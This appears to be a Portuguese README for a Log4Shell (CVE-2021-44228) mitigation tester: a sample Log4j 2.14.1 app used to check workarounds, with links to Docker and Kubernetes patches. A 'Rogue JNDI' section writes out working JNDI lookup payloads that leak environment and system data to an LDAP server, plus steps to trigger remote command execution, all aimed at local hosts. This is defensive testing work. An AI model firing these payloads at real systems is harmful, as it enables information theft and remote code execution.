Testador de mitigação do Log4Shell

Este é um aplicativo de exemplo usando Log4j 2.14.1 .

código-fonte: App.java

O objetivo disso é poder testar diferentes abordagens de mitigação. As abordagens de mitigação também são mencionadas na Resposta da Microsoft ao CVE-2021-44228 Apache Log4j 2.

Exemplo de uso

Os exemplos são para um shell bash

compilar o aplicativo

./gradlew assemble

Executar sem a solução alternativa

java -jar app/build/libs/app-all.jar

Teste o recurso de message lookup passando uma string na linha de comando:

FOO='Hello ${env:USER}' java -jar app/build/libs/app-all.jar '${env:FOO}'

Teste a solução alternativa da propriedade de sistema -Dlog4j2.formatMsgNoLookups=true, https://twitter.com/brunoborges/status/1469186875608875011

java -Dlog4j2.formatMsgNoLookups=true -jar app/build/libs/app-all.jar

Teste a solução alternativa da variável de ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS=true, https://twitter.com/brunoborges/status/1469462412679991300

LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar

Teste a solução alternativa da variável de ambiente JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true, https://twitter.com/brunoborges/status/1469426918550245377

JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true java -jar app/build/libs/app-all.jar

Teste a solução alternativa do log4j2.component.properties no classpath:

java -cp log4j2-formatMsgNoLookups/build/libs/log4j2-formatMsgNoLookups.jar:app/build/libs/app-all.jar log4shell.mitigation.tester.App

Ver para crer - explore este aplicativo de exemplo

Ao executar o aplicativo, você verá a vulnerabilidade em ação:

❯ java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:57:07,216] [main] [log4shell.mitigation.tester.App] INFO noLookups false
[2021-12-12 10:57:07,218] [main] [log4shell.mitigation.tester.App] INFO Lookups are enabled! The application is vulnerable for Log4Shell! Example lookup USER=lari
2021-12-12 10:57:07,239 main WARN Error looking up JNDI resource [ldap://127.0.0.1/a?user=lari]. javax.naming.InvalidNameException: ldap://127.0.0.1/a?user=lari
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:92)
	at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)

Você também pode depurar a solução e colocar um ponto de interrupção no código vulnerável, que é https://github.com/apache/logging-log4j2/blob/dd18e9b21009055e226daf5b233c92b6a17934ca/log4j-core/src/main/java/org/apache/logging/log4j/core/pattern/MessagePatternConverter.java#L119-L135

Defina o ponto de interrupção na classe org.apache.logging.log4j.core.pattern.MessagePatternConverter na linha 128.

Quando a mitigação estiver em vigor, o depurador nunca deve entrar no bloco de código. A chamada LDAP também não deve ser tentada:

❯ LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:59:15,589] [main] [log4shell.mitigation.tester.App] INFO noLookups true
[2021-12-12 10:59:15,590] [main] [log4shell.mitigation.tester.App] INFO Lookups are disabled. Example lookup USER=${env:USER}
[2021-12-12 10:59:15,591] [main] [log4shell.mitigation.tester.App] INFO Provided command line arguments are [${jndi:ldap://127.0.0.1/a?user=${env:USER}}]

Explorando com Rogue JNDI

A demonstração de vazamento de informações depende das alterações em https://github.com/veracode-research/rogue-jndi/pull/11

em um terminal

git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
# build with PR https://github.com/veracode-research/rogue-jndi/pull/11 changes
git fetch origin pull/11/head
git checkout FETCH_HEAD
mvn package
# sample command is for Linux, remove `-c "zenity --progress --pulsate --text=You_are_hacked"` on other OSes or use any suitable RCE command
java -jar target/RogueJndi-1.1.jar -c "zenity --progress --pulsate --text=You_are_hacked"

em outro terminal:

# demonstrate information leakage
java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/user=${env:USER},vendor=${sys:java.vendor},javaversion=${sys:java.vm.version},os=${sys:os.version}}'
# demonstrate RCE by adding "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true"
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/o=reference}'

Soluções de mitigação do Log4Shell para Kubernetes / docker

É necessário mitigar o Log4Shell imediatamente, sem esperar por uma nova versão do software. Aqui estão algumas soluções para fazer isso de forma rápida e eficaz.

Corrigindo imagens docker existentes com um overlay fino que define a variável de ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Esta é uma solução genérica: https://github.com/lhotari/Log4Shell-mitigation-Dockerfile-overlay

Exemplo de correção de imagens docker existentes com arquivos jar do Log4j 2.15.0

Isto não é genérico; o exemplo é do apache/pulsar: https://github.com/lhotari/pulsar-docker-images-patch-CVE-2021-44228

Corrigindo deployments k8s com a variável de ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS=true

https://gist.github.com/brunoborges/9df576689b404aee70a8065210c77fb3

log4shell-mitigation-tester

Mais Populares